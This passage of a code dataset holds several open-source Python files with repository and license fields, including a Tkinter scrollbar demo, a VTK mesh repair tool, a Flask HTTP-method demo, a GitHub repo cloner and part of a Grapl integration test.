days_for_work)\nall_time = hours_for_work + overtime\n\nif hours_needed <= all_time:\n time_left = hours_needed - floor(all_time)\n print(f\"Yes!{abs(time_left)} hours left.\")\nelif hours_needed > all_time:\n time_needed = all_time - hours_needed\n print(f\"Not enough time!{ceil(abs(time_needed))} hours needed.\")", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"} {"text": "import Tkinter as tk\n\n\nclass App:\n def __init__(self):\n self.root=tk.Tk()\n self.vsb = tk.Scrollbar(orient=\"vertical\", command=self.OnVsb)\n self.lb1 = tk.Listbox(self.root, yscrollcommand=self.vsb.set)\n self.lb2 = tk.Listbox(self.root, yscrollcommand=self.vsb.set)\n self.vsb.pack(side=\"right\",fill=\"y\")\n self.lb1.pack(side=\"left\",fill=\"x\", expand=True)\n self.lb2.pack(side=\"left\",fill=\"x\", expand=True)\n self.lb1.bind(\"\", self.OnMouseWheel)\n self.lb2.bind(\"\", self.OnMouseWheel)\n for i in range(100):\n self.lb1.insert(\"end\",\"item %s\" % i)\n self.lb2.insert(\"end\",\"item %s\" % i)\n self.root.mainloop()\n\n def OnVsb(self, *args):\n self.lb1.yview(*args)\n self.lb2.yview(*args)\n\n def OnMouseWheel(self, event):\n self.lb1.yview(\"scroll\", event.delta,\"units\")\n self.lb2.yview(\"scroll\",event.delta,\"units\")\n # this prevents default bindings from firing, which\n # would end up scrolling the widget twice\n return \"break\"\n\n\nfrom Tkinter import *\n\nmaster = Tk()\n\nscrollbar = Scrollbar(master)\nscrollbar.pack(side=RIGHT, fill=Y)\n\nlistbox = Listbox(master, yscrollcommand=scrollbar.set)\nfor i in range(1000):\n listbox.insert(END, str(i))\nlistbox.pack(side=LEFT, fill=BOTH)\n\nscrollbar.config(command=listbox.yview)\n\nmainloop()\n\n# app=App()", "source": "pavitsu/pavit-bank-reconciliation", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport optparse\nimport os\nimport re\nimport sys\nimport vtk\nfrom multiprocessing import Process\n\nimport parse_imx\n\nRADIUS = 3 # For Open and Gauss\nSCALE = 50.0 # For Rasterization\n\n\nclass RepairMeshParser(optparse.OptionParser):\n def __init__(self):\n optparse.OptionParser.__init__(self)\n\n self.add_option(\"-a\", \"--areas\", dest=\"areas_file\",\n help=\"The output areas file in csv\", metavar=\"FILE\")\n self.add_option(\"-i\", \"--input-vrml\", dest=\"input_vrml\",\n help=\"The mesh to de repaired in vrml file format\", metavar=\"FILE\")\n self.add_option(\"-d\", \"--auto-dir\", dest=\"vrmls_dir\",\n help=\"A directory with a bunch of vrmls\", metavar=\"FILE\")\n self.add_option(\"-o\", \"--output-dir\", dest=\"output_dir\",\n help=\"The output dir ussed when provides a dir as input\", metavar=\"FILE\")\n self.add_option(\"-s\", \"--scale-factor\", dest=\"scale\", default=50.0,\n help=\"Tehe scale factor used in the rasterization\")\n self.add_option(\"-c\", \"--combine\", action=\"store_true\", dest=\"combine\",\n help=\"Combine all polydatas in one object\")\n\n\ndef write_image(image, filename):\n \"\"\"Write vtk image data to file.\"\"\"\n aWriter = vtk.vtkMetaImageWriter()\n aWriter.SetInputData(image)\n aWriter.SetFileName(filename)\n aWriter.SetFileDimensionality(3)\n aWriter.SetCompression(False)\n aWriter.Write()\n\n\ndef voxelizer(polydata, scale=SCALE, radius=RADIUS):\n \"\"\" volume voxelization not anti-aliased \"\"\"\n\n # Get selection boundaries.\n (minX, maxX, minY, maxY, minZ, maxZ) = [int(x * scale) for x in\n polydata.GetBounds()] # convert tuple of floats to ints\n\n # print(\" Selection bounds are %s\" % str((minX, maxX, minY, maxY, minZ, maxZ))) # dimensions of the resulting image\n # print(\" Dimensions: %s\" % str((maxX - minX, maxY - minY, maxZ - minZ)))\n\n padd = radius + 6\n (minX, maxX, minY, maxY, minZ, maxZ) = (\n minX - padd, maxX + padd, minY - padd, maxY + padd, minZ - padd, maxZ + padd)\n\n ps1 = 1.0 / float(scale) # pixel size for the stencil, make sure it's a float division!\n ps2 = 1.0 # pixel size for the image\n\n ## Convert a surface mesh into an image stencil that can be used to mask an image with vtkImageStencil.\n polyToStencilFilter = vtk.vtkPolyDataToImageStencil()\n polyToStencilFilter.SetInputData(polydata)\n polyToStencilFilter.SetOutputWholeExtent(minX, maxX, minY, maxY, minZ, maxZ)\n polyToStencilFilter.SetOutputSpacing(ps1, ps1, ps1)\n polyToStencilFilter.SetOutputOrigin(0.0, 0.0, 0.0)\n polyToStencilFilter.Update()\n\n # Create an empty (3D) image of appropriate size.\n image = vtk.vtkImageData()\n image.SetSpacing(ps2, ps2, ps2)\n image.SetOrigin(0.0, 0.0, 0.0)\n image.SetExtent(minX, maxX, minY, maxY, minZ, maxZ)\n image.AllocateScalars(vtk.VTK_UNSIGNED_CHAR, 1)\n\n # Mask the empty image with the image stencil.\n # First All the background to 0\n # Needed otherwise introduces noise\n stencil = vtk.vtkImageStencil()\n stencil.SetInputData(image)\n stencil.SetStencilData(polyToStencilFilter.GetOutput())\n stencil.ReverseStencilOff()\n stencil.SetBackgroundValue(0)\n stencil.Update()\n\n # Foreground to 255\n stencil2 = vtk.vtkImageStencil()\n stencil2.SetInputData(stencil.GetOutput())\n stencil2.SetStencilData(polyToStencilFilter.GetOutput())\n stencil2.ReverseStencilOn()\n stencil2.SetBackgroundValue(255)\n\n stencil2.Update()\n finishImage = stencil2.GetOutput()\n print(finishImage.GetNumberOfCells())\n return stencil2.GetOutput()\n\n\ndef axisAligment(actor):\n polyData = actor.GetMapper().GetInput()\n centerCalculer = vtk.vtkCenterOfMass()\n centerCalculer.SetInputData(polyData)\n centerCalculer.SetUseScalarsAsWeights(False)\n centerCalculer.Update()\n center = centerCalculer.GetCenter()\n print(center)\n\n centerTransform = vtk.vtkTransform()\n centerTransform.Translate(-center[0], -center[1], -center[2])\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(polyData)\n transformFilter.SetTransform(centerTransform)\n transformFilter.Update()\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(transformFilter.GetOutput())\n mapper.Update()\n actor.SetMapper(mapper)\n\n polyData = actor.GetMapper().GetInput()\n\n centerCalculer = vtk.vtkCenterOfMass()\n centerCalculer.SetInputData(polyData)\n centerCalculer.SetUseScalarsAsWeights(False)\n centerCalculer.Update()\n centerAux = centerCalculer.GetCenter()\n print(centerAux)\n\n pointsMatrixAux = []\n\n for i in range(0, polyData.GetNumberOfPoints()):\n point = polyData.GetPoint(i)\n pointsMatrixAux.append(point)\n\n pointMatrix = np.matrix(pointsMatrixAux)\n pointMatrixT = pointMatrix.transpose()\n covarianzeMatrix = pointMatrixT * pointMatrix\n u, s, vh = np.linalg.svd(covarianzeMatrix, full_matrices=True)\n\n rotationMatrix = vtk.vtkMatrix4x4()\n\n for i in range(3):\n for j in range(3):\n rotationMatrix.SetElement(i, j, u[i, j])\n rotationMatrix.SetElement(i, 3, 0)\n\n for i in range(3):\n rotationMatrix.SetElement(3, i, 0)\n\n rotationMatrix.SetElement(3, 3, 1)\n\n rotationTransform = vtk.vtkTransform()\n rotationTransform.SetMatrix(rotationMatrix)\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(actor.GetMapper().GetInput())\n transformFilter.SetTransform(rotationTransform)\n transformFilter.Update()\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(transformFilter.GetOutput())\n actor.SetMapper(mapper)\n\n return center, rotationTransform\n\n\ndef open_image(image, radius):\n openFilter = vtk.vtkImageDilateErode3D()\n openFilter.SetDilateValue(255)\n openFilter.SetErodeValue(0)\n openFilter.SetKernelSize(radius, radius, radius)\n openFilter.SetInputData(image)\n openFilter.Update()\n return openFilter.GetOutput()\n\n\ndef dump_voxels(actor, filename):\n poly = actor.GetMapper().GetInput()\n pre_image = voxelizer(poly, 50)\n image = open_image(pre_image, RADIUS)\n write_image(image, filename)\n\n\ndef open_actor(actor, actor_index=0, scale=SCALE, radius=RADIUS):\n poly = actor.GetMapper().GetInput()\n pre_image = voxelizer(poly, scale)\n opened_image = open_image(pre_image, radius)\n\n gauss = vtk.vtkImageGaussianSmooth()\n gauss.SetDimensionality(3)\n gauss.SetStandardDeviation(radius, radius, radius)\n gauss.SetInputData(opened_image)\n gauss.Update()\n\n image_to_contour = gauss.GetOutput()\n\n contour = vtk.vtkMarchingCubes()\n contour.SetInputData(image_to_contour)\n contour.SetValue(0, 127.5)\n contour.ComputeScalarsOff()\n contour.Update()\n\n repared_poly = contour.GetOutput()\n\n if repared_poly.GetNumberOfCells() == 0:\n print(\"ERROR: number_of_cells = 0\", end=' ')\n # write_image(image_to_contour, \"/tmp/%d.mhd\"%actor_index)\n raise ValueError(\"ERROR: number_of_cells = 0\")\n\n # (minX, maxX, minY, maxY, minZ, maxZ) = [int(x) for x in repared_poly.GetBounds()] #convert tuple of floats to ints\n # print \" Repared bounds are %s\"%str((minX, maxX, minY, maxY, minZ, maxZ)) #dimensions of the resulting image\n # print \" Dimensions: %s\"%str((maxX - minX, maxY - minY, maxZ - minZ))\n\n actor.GetMapper().SetInputData(repared_poly)\n\n\ndef compute_area(actor):\n polydata = actor.GetMapper().GetInput()\n number_of_cells = polydata.GetNumberOfCells()\n area = 0\n for i in range(number_of_cells):\n area += vtk.vtkMeshQuality.TriangleArea(polydata.GetCell(i))\n\n return area\n\n\ndef combine_actors(actors_list):\n appender = vtk.vtkAppendPolyData()\n for actor in actors_list:\n poly = actor.GetMapper().GetInput()\n appender.AddInput(poly)\n appender.Update()\n combined_poly = appender.GetOutput()\n combined_actor = vtk.vtkActor()\n combined_actor.SetMapper(vtk.vtkPolyDataMapper())\n combined_actor.GetMapper().SetInputData(combined_poly)\n return combined_actor\n\n\ndef show_actor(actor, ren, rw):\n ren.RemoveAllViewProps()\n ren.AddActor(actor)\n ren.ResetCamera()\n rw.Render()\n\n\ndef compute_all_areas(actors_list, scale=SCALE):\n areas = []\n for i, actor in enumerate(actors_list):\n # scale = SCALE\n sys.stdout.write(\"%d \" % i)\n area_pre = compute_area(actor)\n try:\n open_actor(actor, i, scale)\n except ValueError as e:\n # [KNOWN BUG] The sizes are corrected, but not the position\n scale = scale * 2\n open_actor(actor, i, scale)\n area_post = compute_area(actor) / scale ** 2\n\n areas.append((i, area_pre, area_post, area_post / area_pre))\n sys.stdout.flush()\n print(\"\\n\")\n return areas\n\n\ndef compute_centroids(actors_list):\n return [a.GetCenter() for a in actors_list]\n\n\ndef csv_areas(actors_list, filename, scale=SCALE, names=None):\n centroids = compute_centroids(actors_list) # Centroids of original actors\n print(\n \"-------- Repairing original mesh and Calculating areas (This process might take a long time, please wait) -----------\")\n areas = compute_all_areas(actors_list, scale)\n print(\"-------- Saving CSV file -----------\")\n if names is not None:\n csv = \"Object,Pre_Area,Post_Area,Post/Pre,X,Y,Z,Name\\n\"\n for i in range(len(areas)):\n data = []\n data.extend(areas[i])\n data.extend(centroids[i])\n data.append(names[i])\n csv += \"%d,%f,%f,%f,%f,%f,%f,%s\\n\" % tuple(data)\n else:\n csv = \"Object,Pre_Area,Post_Area,Post/Pre,X,Y,Z\\n\"\n for i in range(len(areas)):\n data = []\n data.extend(areas[i])\n data.extend(centroids[i])\n csv += \"%d,%f,%f,%f,%f,%f,%f\\n\" % tuple(data)\n\n with open(filename, 'w') as f:\n f.write(csv)\n\n\ndef underScale(actor, scale):\n transform = vtk.vtkTransform()\n relation = float(1) / float(scale)\n transform.Scale(relation, relation, relation)\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(actor.GetMapper().GetInput())\n transformFilter.SetTransform(transform)\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputConnection(transformFilter.GetOutputPort())\n mapper.Update()\n actor.SetMapper(mapper)\n return actor\n\n\ndef reduceMesh(actor, reduction):\n decimate = vtk.vtkDecimatePro()\n decimate.SetInputData(actor.GetMapper().GetInput())\n decimate.SetTargetReduction(reduction / 100)\n decimate.Update()\n\n decimateMapper = vtk.vtkPolyDataMapper()\n decimateMapper.SetInputConnection(decimate.GetOutputPort())\n decimateMapper.Update()\n actor.SetMapper(decimateMapper)\n return actor\n\n\n# Only for future versions of VTK, at the moment is a beta feature\ndef save_obj(rw, dir, name):\n exporter = vtk.vtkOBJExporter()\n if not os.path.isdir(dir):\n os.makedirs(dir)\n\n path = \"%s/%s\" % (dir, name)\n exporter.SetFilePrefix(path)\n exporter.SetRenderWindow(rw)\n exporter.Write()\n\n\ndef save_stl(polydata, dir, name):\n exporter = vtk.vtkSTLWriter()\n if not os.path.isdir(dir):\n os.makedirs(dir)\n\n path = '%s/%s.stl' % (dir, name)\n exporter.SetFileName(path)\n exporter.SetInputData(polydata)\n exporter.Write()\n\n\ndef save_vrml(name, dir, rw):\n if not os.path.isdir(dir):\n os.makedirs(dir)\n\n path = '%s/%s.vrml' % (dir, name)\n rw.Render()\n exporter = vtk.vtkVRMLExporter()\n exporter.SetFileName(path)\n exporter.SetRenderWindow(rw)\n rw.Render()\n exporter.Write()\n\n\ndef initActorForExport(actor, rw, scale, reduction):\n ren = rw.GetRenderers().GetFirstRenderer()\n actor = underScale(actor, scale)\n actor = reduceMesh(actor, reduction)\n ren.AddActor(actor)\n\n\ndef toOriginalPos(actor, center, rotationTransform):\n rotMat = vtk.vtkMatrix4x4()\n rotationTransform.GetTranspose(rotMat)\n rotTrans = vtk.vtkTransform()\n rotTrans.SetMatrix(rotMat)\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(actor.GetMapper().GetInput())\n transformFilter.SetTransform(rotTrans)\n transformFilter.Update()\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputConnection(transformFilter.GetOutputPort())\n mapper.Update()\n actor.SetMapper(mapper)\n\n centerTransform = vtk.vtkTransform()\n centerTransform.Translate(center[0], center[1], center[2])\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(actor.GetMapper().GetInput())\n transformFilter.SetTransform(centerTransform)\n transformFilter.Update()\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputConnection(transformFilter.GetOutputPort())\n mapper.Update()\n actor.SetMapper(mapper)\n\n centerCalculer = vtk.vtkCenterOfMass()\n centerCalculer.SetInputData(actor.GetMapper().GetInput())\n centerCalculer.SetUseScalarsAsWeights(False)\n centerCalculer.Update()\n center = centerCalculer.GetCenter()\n print(center)\n\n\ndef main(input_filename, areas_filename, scale, is_imx, exportPath=None, exportType=False, reduction=70, radius=RADIUS,\n combine=False):\n # TODO: The following doesn't hide the RenderWindow :/\n # factGraphics = vtk.vtkGraphicsFactory()\n # factGraphics.SetUseMesaClasses(1)\n # factImage = vtk.vtkImagingFactory()\n # factImage.SetUseMesaClasses(1)\n\n if exportPath is None:\n pos = areas_filename.rfind(\"/\")\n filename = os.path.splitext(input_filename)[0]\n posFilename = filename.rfind(\"/\")\n exportPath = areas_filename[:pos] + \"/Meshes\" + filename[posFilename:]\n else:\n filename = os.path.splitext(input_filename)[0]\n pos = filename.rfind(\"/\")\n if pos == -1:\n exportPath += \"/\"\n\n exportPath += filename[pos:]\n\n print(exportPath)\n if is_imx:\n vrml_filename = os.path.splitext(input_filename)[0] + \".vrml\"\n names_filename = os.path.splitext(input_filename)[0] + \".names\"\n args = [\"{}\".format(input_filename), \"{}\".format(vrml_filename), \"{}\".format(names_filename)]\n p = Process(target=parse_imx.main, args=[args])\n p.start()\n p.join()\n\n names_list = []\n with open(names_filename) as f:\n for line in f:\n line = re.sub(r'\\n', '', line)\n names_list.append(line)\n else:\n vrml_filename = input_filename\n names_list = None\n\n rw = vtk.vtkRenderWindow()\n rwi = vtk.vtkRenderWindowInteractor()\n rwi.SetRenderWindow(rw)\n # rw.OffScreenRenderingOn()\n\n importer = vtk.vtkVRMLImporter()\n importer.SetFileName(vrml_filename)\n # importer = vtk.vtk3DSImporter()\n # importer.SetFileName(\"cube.3ds\")\n importer.Read()\n importer.SetRenderWindow(rw)\n importer.Update()\n\n rw.Render()\n\n ren = importer.GetRenderer()\n actors = ren.GetActors()\n actors.InitTraversal()\n\n rwExport = vtk.vtkRenderWindow()\n # rwExport.OffScreenRenderingOn()\n renExport = vtk.vtkRenderer()\n rwExport.AddRenderer(renExport)\n\n rwExport.Render()\n\n if is_imx:\n csv = \"Object,Pre_Area,Post_Area,Post/Pre,X,Y,Z,Name\\n\"\n else:\n csv = \"Object,Pre_Area,Post_Area,Post/Pre,X,Y,Z\\n\"\n\n print(\n \"-------- Repairing original mesh and Calculating areas (This process might take a long time, please wait) -----------\")\n for i in range(ren.GetNumberOfPropsRendered()):\n sys.stdout.write(\"%d _\" % i)\n actor = actors.GetNextActor()\n polydata = actor.GetMapper().GetInput()\n polydataCopy = vtk.vtkPolyData()\n polydataCopy.DeepCopy(polydata)\n area_pre = compute_area(actor)\n centroid = actor.GetCenter()\n rescaled = False\n try:\n rw.Render()\n (center, rotation) = axisAligment(actor)\n rw.Render()\n open_actor(actor, i, scale, radius)\n\n except ValueError as e:\n # [KNOWN BUG] The sizes are corrected, but not the position\n scale = scale * 2\n open_actor(actor, i, scale, radius)\n rescaled = True\n area_post = compute_area(actor) / scale ** 2\n\n if is_imx:\n data = []\n data.extend([i, area_pre, area_post, area_post / area_pre])\n data.extend(centroid)\n data.append(names_list[i])\n csv += \"%d,%f,%f,%f,%f,%f,%f,%s\\n\" % tuple(data)\n\n else:\n data = []\n data.extend([i, area_pre, area_post, area_post / area_pre])\n data.extend(centroid)\n csv += \"%d,%f,%f,%f,%f,%f,%f\\n\" % tuple(data)\n\n if exportType != \"None\":\n initActorForExport(actor, rwExport, scale, reduction)\n toOriginalPos(actor, center, rotation)\n if names_list is not None:\n name = names_list[i]\n else:\n name = i\n\n if exportType == \"Stl\":\n save_stl(actor.GetMapper().GetInput(), exportPath, str(name) + \"_R\")\n save_stl(polydataCopy, exportPath, str(name) + \"_O\")\n renExport.RemoveActor(actor)\n elif exportType == \"Vrml\":\n save_vrml(str(name) + \"_R\", exportPath, rwExport)\n renExport.RemoveActor(actor)\n actorOld = vtk.vtkActor()\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(polydataCopy)\n actorOld.SetMapper(mapper)\n renExport.AddActor(actorOld)\n save_vrml(str(name) + \"_O\", exportPath, rwExport)\n renExport.RemoveActor(actorOld)\n elif exportType == \"Obj\":\n save_obj(rwExport, exportPath, str(name) + \"_R\")\n renExport.RemoveActor(actor)\n actorOld = vtk.vtkActor()\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(polydataCopy)\n actorOld.SetMapper(mapper)\n renExport.AddActor(actorOld)\n save_obj(rwExport, exportPath, str(name) + \"_O\")\n renExport.RemoveActor(actorOld)\n\n ren.RemoveActor(actor)\n if rescaled:\n scale /= 2\n\n with open(areas_filename, 'w') as f:\n f.write(csv)\n if is_imx:\n os.remove(vrml_filename)\n os.remove(names_filename)\n\n rw.Finalize()\n print(\"\")\n", "source": "vg-lab/MeshReconstruct", "license": "MIT"} {"text": "from django.apps import AppConfig\n\n\nclass ExoticsConfig(AppConfig):\n name = 'exotics'\n", "source": "kngeno/telelbirds", "license": "MIT"} {"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2007, Riverbank Computing Limited\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD license.\n# However, when used with the GPL version of PyQt the additional terms described in the PyQt GPL exception also apply\n\n#\n# Author: Riverbank Computing Limited\n# Description: \n#------------------------------------------------------------------------------\n\n\n# Standard library imports.\nfrom logging import DEBUG\n\n# Major package imports.\nfrom pyface.qt import QtCore, QtGui\n\n# Enthought library imports.\nfrom traits.api import Any, Bool, Font, Instance, Int, provides\nfrom traits.api import Tuple, Unicode\n\n# Local imports.\nfrom pyface.i_splash_screen import ISplashScreen, MSplashScreen\nfrom pyface.image_resource import ImageResource\nfrom .window import Window\n\n\n@provides(ISplashScreen)\nclass SplashScreen(MSplashScreen, Window):\n \"\"\" The toolkit specific implementation of a SplashScreen. See the\n ISplashScreen interface for the API documentation.\n \"\"\"\n\n\n #### 'ISplashScreen' interface ############################################\n\n image = Instance(ImageResource, ImageResource('splash'))\n\n log_level = Int(DEBUG)\n\n show_log_messages = Bool(True)\n\n text = Unicode\n\n text_color = Any\n\n text_font = Any\n\n text_location = Tuple(5, 5)\n\n ###########################################################################\n # Protected 'IWidget' interface.\n ###########################################################################\n\n def _create_control(self, parent):\n splash_screen = QtGui.QSplashScreen(self.image.create_image())\n self._qt4_show_message(splash_screen)\n\n return splash_screen\n\n ###########################################################################\n # Private interface.\n ###########################################################################\n\n def _text_changed(self):\n \"\"\" Called when the splash screen text has been changed. \"\"\"\n\n if self.control is not None:\n self._qt4_show_message(self.control)\n\n def _qt4_show_message(self, control):\n \"\"\" Set the message text for a splash screen control. \"\"\"\n\n if self.text_font is not None:\n control.setFont(self.text_font)\n\n if self.text_color is None:\n text_color = QtCore.Qt.black\n else:\n # Until we get the type of this trait finalised (ie. when TraitsUI\n # supports PyQt) convert it explcitly to a colour.\n text_color = QtGui.QColor(self.text_color)\n\n control.showMessage(self.text, QtCore.Qt.AlignLeft, text_color)\n\n#### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "from flask import Flask,render_template as render, request \nfrom models import *\n\n\n\napp = Flask(__name__,template_folder='./templates')\n\n\n@app.route('/GETPage',methods = ['GET'])\ndef Gpage():\n return f\"You have landed on the page which allows the {request.method} method.\"\n\n@app.route('/POSTPage', methods = ['GET','POST'])\ndef Ppage():\n if request.method == \"POST\":\n WriteModelJson(dict(zip(dict(request.form).keys(), dict(request.form).values())))\n return render('SuccessPage.html')\n else:\n return render('form.html')\n\n@app.route('/MultiMethodPage', methods = ['GET','PUT','PATCH', 'DELETE'])\ndef MethodsPage():\n import json\n if request.method == \"DELETE\":\n data = json.loads(request.data)\n message = DeleteJsonModel(data)\n return f\"The Method used was: {request.method}\\n {message}\"\n \n elif request.method == 'PUT': \n data = json.loads(request.data)\n message = PutModelJson(data)\n return f\"The Method used was: {request.method}\\n {message}\"\n\n elif request.method == 'PATCH':\n message = PatchModelJson(json.loads(request.data))\n return f\"The Method used was: {request.method}\\n {message}\"\n\n\n \n return \"This page/URL supports PUT,PATCH and DELETE Methods. Use Postman to send in requests. \"\n\nif __name__ == \"__main__\":\n app.run()\n", "source": "AbhijithGanesh/Flask-HTTP-Server", "license": "BSD-3-Clause"} {"text": "#! /usr/bin/env python\n\nimport sys\nimport os\nimport extargsparse\nimport re\nimport time\n\n##importdebugstart\nsys.path.append(os.path.abspath(os.path.dirname(__file__)))\nfrom strparser import *\nfrom filehdl import *\nfrom fmthdl import *\nfrom extract_ob import *\nfrom obmaklib import *\n##importdebugend\n\nREPLACE_IMPORT_LIB=1\n\nREPLACE_STR_PARSER=1\nREPLACE_FILE_HDL=1\nREPLACE_FMT_HDL=1\nREPLACE_EXTRACT_OB=1\nREPLACE_OBMAK_LIB=1\n\n\ndef main():\n commandline='''\n {\n \"verbose|v\" : \"+\",\n \"version|V\" : false,\n \"dump|D\" : \"obcode.json\",\n \"benchmark|B\" : false,\n \"makob##srcfile to give the other code file ,this need environment variable MAKOB_FILE to get the default (makob.json)##\" : {\n \"namemin\" : 5,\n \"namemax\" : 20,\n \"$\" : \"+\"\n },\n \"unmakob##dstfile to give the origin ,this need environment variable MAKOB_FILE to get the default (makob.json)##\" : {\n \"short\" : false,\n \"$\" : \"+\"\n },\n \"basename##to make basename##\" : {\n \"$\" : \"+\"\n },\n \"obtrans##translate the srcdir to dstdir in makob file##\" : {\n \"srcdir\" : \"\",\n \"dstdir\" : \"\",\n \"$\" : \"+\"\n },\n \"oblist##to list files ob files##\" : {\n \"$\" : \"*\"\n },\n \"obuntrans##inputfile [outputfile] to trans file from MAKOB_FILE##\" : {\n \"$\" : \"+\"\n },\n \"obunfunc##inputfile;outfile;funcs... to set obfuncs##\" : {\n \"$\" : \"+\"\n }\n }\n '''\n d = dict()\n d['version'] = \"VERSION_RELACE_STRING\"\n options = extargsparse.ExtArgsOptions(d)\n stime = time.time()\n parser = extargsparse.ExtArgsParse(options)\n parser.load_command_line_string(commandline)\n args = parser.parse_command_line(None,parser)\n if args.version:\n sys.stdout.write('%s\\n'%(options.version))\n sys.exit(0)\n if args.benchmark:\n etime = time.time()\n sys.stderr.write('run %s time %s second\\n'%(sys.argv[1:],etime - stime))\n return\n\n##importdebugstart\nfrom obrelease import *\nimport re\n\ndef debug_release():\n if '-v' in sys.argv[1:]:\n #sys.stderr.write('will make verbose\\n')\n loglvl = logging.DEBUG\n if logging.root is not None and len(logging.root.handlers) > 0:\n logging.root.handlers = []\n logging.basicConfig(level=loglvl,format='%(asctime)s:%(filename)s:%(funcName)s:%(lineno)d\\t%(message)s')\n topdir = os.path.abspath(os.path.join(os.path.dirname(__file__),'..'))\n tofile= os.path.abspath(os.path.join(topdir,'obmak.py'))\n curdir = os.path.abspath(os.path.dirname(__file__))\n rlfiles = ReleaseFiles(__file__)\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'strparser.py')),r'REPLACE_STR_PARSER=1')\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'fmthdl.py')),r'REPLACE_FMT_HDL=1')\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'filehdl.py')),r'REPLACE_FILE_HDL=1')\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'obmaklib.py')),r'REPLACE_OBMAK_LIB=1')\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'extract_ob.py')),r'REPLACE_EXTRACT_OB=1')\n if len(sys.argv) > 2:\n for k in sys.argv[1:]:\n if not k.startswith('-'):\n tofile = k\n break\n versionfile = os.path.abspath(os.path.join(topdir,'VERSION'))\n if not os.path.exists(versionfile):\n raise Exception('can not find VERSION file')\n with open(versionfile,'r') as f:\n for l in f:\n l = l.rstrip('\\r\\n')\n vernum = l\n break\n #logging.info('str_c\\n%s'%(strparser_c))\n sarr = re.split('\\.',vernum)\n if len(sarr) != 3:\n raise Exception('version (%s) not format x.x.x'%(vernum))\n VERSIONNUMBER = vernum\n import_rets = fromat_ext_import_files(__file__,rlfiles.get_includes())\n logging.info('import_rets\\n%s'%(import_rets))\n rlfiles.add_repls(r'VERSION_RELACE_STRING',VERSIONNUMBER)\n rlfiles.add_repls(r'debug_main','main')\n rlfiles.add_repls(r'REPLACE_IMPORT_LIB=1',make_string_slash_ok(import_rets))\n #logging.info('repls %s'%(repls.keys()))\n disttools.release_file('__main__',tofile,[],[[r'##importdebugstart.*',r'##importdebugend.*']],[],rlfiles.get_repls())\n return\n\ndef debug_main():\n if '--release' in sys.argv[1:]:\n debug_release()\n return\n main()\n return\n\n##importdebugend\n\nif __name__ == '__main__':\n debug_main()\n", "source": "jeppeter/py-obcode", "license": "BSD-Source-Code"} {"text": "\nimport sys\nimport os\nimport urllib2\nfrom bs4 import BeautifulSoup as bsoup\n\nprint sys.argv\n\nif len(sys.argv) < 3:\n print \"Usage example: python copy.py Netflix /path/to/target-repo-directory\"\n sys.exit(1)\n\norgurl = sys.argv[1]\ntargetdir = sys.argv[2]\n\norgurl = \"https://www.github.com/%s?page=1\" % orgurl\n\nprint \"clonning all repos from\", orgurl\n# move to targetdir\nprint \"target dir\", targetdir\nos.chdir(targetdir)\n\n\n# read page\ndef read_page(url):\n print \"reading\", url\n response = urllib2.urlopen(url)\n return bsoup(response.read(), \"html.parser\")\n\ndef grab_last_page(page_content):\n pages = page_content.find(\"div\", class_=\"paginate-container\").find_all(\"a\")\n if len(pages) > 3:\n return int (pages[-2].text)\n else:\n return \"1\"\n \n\ndef extract_repo_links(page_content):\n return (elem.attrs[\"href\"] for elem in page_content.find_all(\"a\", itemprop=\"name codeRepository\"))\n\ndef clone_repo(link):\n repo_full_url = \"https://github.com%s.git\" % link\n os.system(\"git clone %s\" % repo_full_url)\n # print (\"git clone %s\" % repo_full_url)\n\n# get the last page number from \"div.paginate-container\" of 1st page\npage_content = read_page(orgurl + \"1\")\nlast_page_number = grab_last_page(page_content)\n\n\n# print (page_content)\nprint (last_page_number)\n\n# firsr page\nfor link in extract_repo_links(page_content):\n clone_repo(link)\n\nif grab_last_page > 0:\n for pagenum in xrange(2,last_page_number+1):\n page_content = read_page(orgurl + str(pagenum))\n for link in extract_repo_links(page_content):\n clone_repo(link)\n", "source": "tzuryby/copyip", "license": "Apache-2.0"} {"text": "from typing import List, NoReturn\nfrom lib.t import T\n\nclass Lecture: # Vorlesungen/F\u00e4cher\n subject: str\n room: str\n schedule: List[T]\n\n def __init__(self,\n subject: str,\n room: str,\n *schedule: T\n ) -> NoReturn:\n self.subject = subject\n self.room = room\n self.schedule = schedule\n\n def pprint(self,\n n: int\n ) -> str:\n ret: str = self.schedule[n].pprint() + \": \" + self.subject\n ret += \" (\" + self.__get_room_for_lecture(n) + \")\"\n return ret\n\n def __get_room_for_lecture(self,\n n: int) -> str:\n if self.schedule[n].room is None:\n return self.room\n return self.schedule[n].room\n", "source": "kfkonrad/py-stundenplan", "license": "MIT"} {"text": "import logging\nfrom typing import Any, Dict, List\nfrom unittest import TestCase\n\nimport pytest\nfrom grapl_analyzerlib.nodes.lens import LensQuery, LensView\nfrom grapl_tests_common.clients.engagement_edge_client import EngagementEdgeClient\nfrom grapl_tests_common.clients.graphql_endpoint_client import GraphqlEndpointClient\nfrom grapl_tests_common.wait import WaitForCondition, WaitForQuery, wait_for_one\n\nLENS_NAME = \"DESKTOP-FVSHABR\"\n\nGqlLensDict = Dict[str, Any]\n\n\n@pytest.mark.integration_test\nclass TestEndToEnd(TestCase):\n def test_expected_data_in_dgraph(self) -> None:\n # There is some unidentified, nondeterministic failure with e2e.\n # We fall into one of three 